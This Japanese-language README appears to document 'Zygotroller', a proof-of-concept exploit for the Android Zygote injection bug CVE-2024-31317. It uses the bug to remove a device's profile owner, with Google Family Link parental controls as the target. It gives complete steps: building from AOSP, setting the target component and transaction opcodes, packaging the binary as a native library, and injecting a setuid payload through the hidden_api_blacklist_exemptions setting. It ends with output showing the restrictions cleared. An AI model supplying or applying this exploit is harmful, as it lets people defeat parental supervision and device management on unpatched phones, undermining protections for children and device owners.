
CVE-2024-31317を使用してAndroidプロファイルオーナー/ファミリーリンクを削除する
Zygotroller は、CVE-2024-31317 の Zygote インジェクションバグを使用して、プロファイルオーナーと関連する制限を削除できる概念実証です。 これには、開発者モードと、2024年6月より前の最新セキュリティパッチが必要です。
このリポジトリでは、Google のペアレンタルコントロールシステムである Family Link を例として示しています。
コンパイルには、Debian 系ディストリビューションが動作する比較的新しめのデバイスが必要です。この記事を読んだ時点によっては、プリビルドが利用できる場合とできない場合があります。
残念ながら、これは Android の内部部分に依存しているため、Zygotroller をビルドするには Android ソースコード全体をクローンする必要があります。少なくとも400GBの空き容量を確保してください(実際にはそれほど使わない可能性が高いですが)。
重要(WSLを使用する場合): 大量のスワップを用意してください。そうしないと WSL がクラッシュします。私は個人的に32Gを使用しました:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
次に、AOSP ソースをクローンします:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (レート制限のため、何度か試行が必要かもしれません)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (エミュレータでテストする場合は、arm64 を x86_64 に変更してください)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
次に、スクリプト内の値を、実際のプロファイルオーナーと clearProfileOwner のオペコードに変更する必要があります。
プロファイルオーナーは、Google Play services の "supervision" パッケージか、Google Play services 自体にあります。dpm list-owners を実行してください。私の場合は次のようになりました:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
これにより、Zygotroller に必要な2つの情報、つまりパッケージ名(com.google.android.gms.supervision)とクラス名(com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver)が得られます。
お好みのテキストエディタで zygotroll.cpp を編集し、次の行をご自身のプロファイルオーナーコンポーネントに更新してください:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
次に、DPM の clearProfileOwner 関数のオペコードを見つける必要があります。私の場合は "91" でしたが、これは実行している Android のバージョン/種類によって異なります。clearProfileOwner のオペコードを取得するために、私は android-svc を次のコマンドで使用しました:
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
出力に表示される番号が clearProfileOwner のオペコードです。もう一度お好みのテキストエディタで zygotroll.cpp を開き、ここの番号を実際のオペコードに編集してください:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
setUserRestriction についても同じことを行ってください:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
次に、zygotroller をコンパイルします:
mm
初期ビルドには非常に長い時間がかかる場合がありますが、その後のビルドはほとんどの最新マシンでは1分未満です。
バイナリは ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller にあります。
次に、このバイナリを「共有ライブラリ」として含むアプリを作成する必要があります。これは実際には Zygotroller 実行ファイルそのものですが、SELinux が実行を許可するようにします。 そのために、私の "CopyNativeLib" リポジトリを使用できます:
git clone https://github.com/rifting/CopyNativeLib.git
次に、Zygotroller バイナリを libzygotroller.so にリネームし、app/src/main/jniLibs/arm64-v8a に置きます(おそらくお使いのスマートフォンのアーキテクチャになると思います)。Android Studio で APK をビルドし、adb install でデバイスにインストールします。
私の場合、Family Link のプロファイルオーナーはユーザーID 10090(別名 u0_a90)でした。
dumpsys package com.google.android.gms.supervision | grep userId= を実行してください。
次に、payload.sh の次の行を見てください:
inject='\n--setuid=10090...
ここでの UID を 10090 から、dumpsys コマンドで取得したあなたの UID に変更してください。同じ ID の場合はそのままにしてください。
その行をもう少し進むと、次のように表示されます:
...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...
(3つのドットは省略を示しています)
これらを、デバイスにインストールしたばかりのネイティブライブラリへのパスに置き換える必要があります。pm path com.rifting.copynativelib を実行してください。
ファイルへのパスは、コマンドの出力として表示される APK の親ディレクトリ + lib/arm64-v8a/libzygotroller.so になります。LD_LIBRARY_PATH にはライブラリのディレクトリを指定し、その後にライブラリへの実際のパスを続けます。
したがって、その行は最終的に次のようになります:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
もうすぐです!このファイルを /data/local/tmp にプッシュしてください。
adb push payload.sh /data/local/tmp
パーミッションを設定します:
chmod +x /data/local/tmp/payload.sh
そして最後に、その出力を hidden_api_blacklist_exemptions に送ります!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
ここで、ブートループを避けるためにこれを "0" に設定します :)
settings put global hidden_api_blacklist_exemptions 0
Family Link のプロファイルオーナーと、関連するすべての制限が削除されているはずです。 設定からアカウントを管理し、デバイスから監督付きアカウントを削除してください。おめでとうございます!
変更前:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
変更後:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...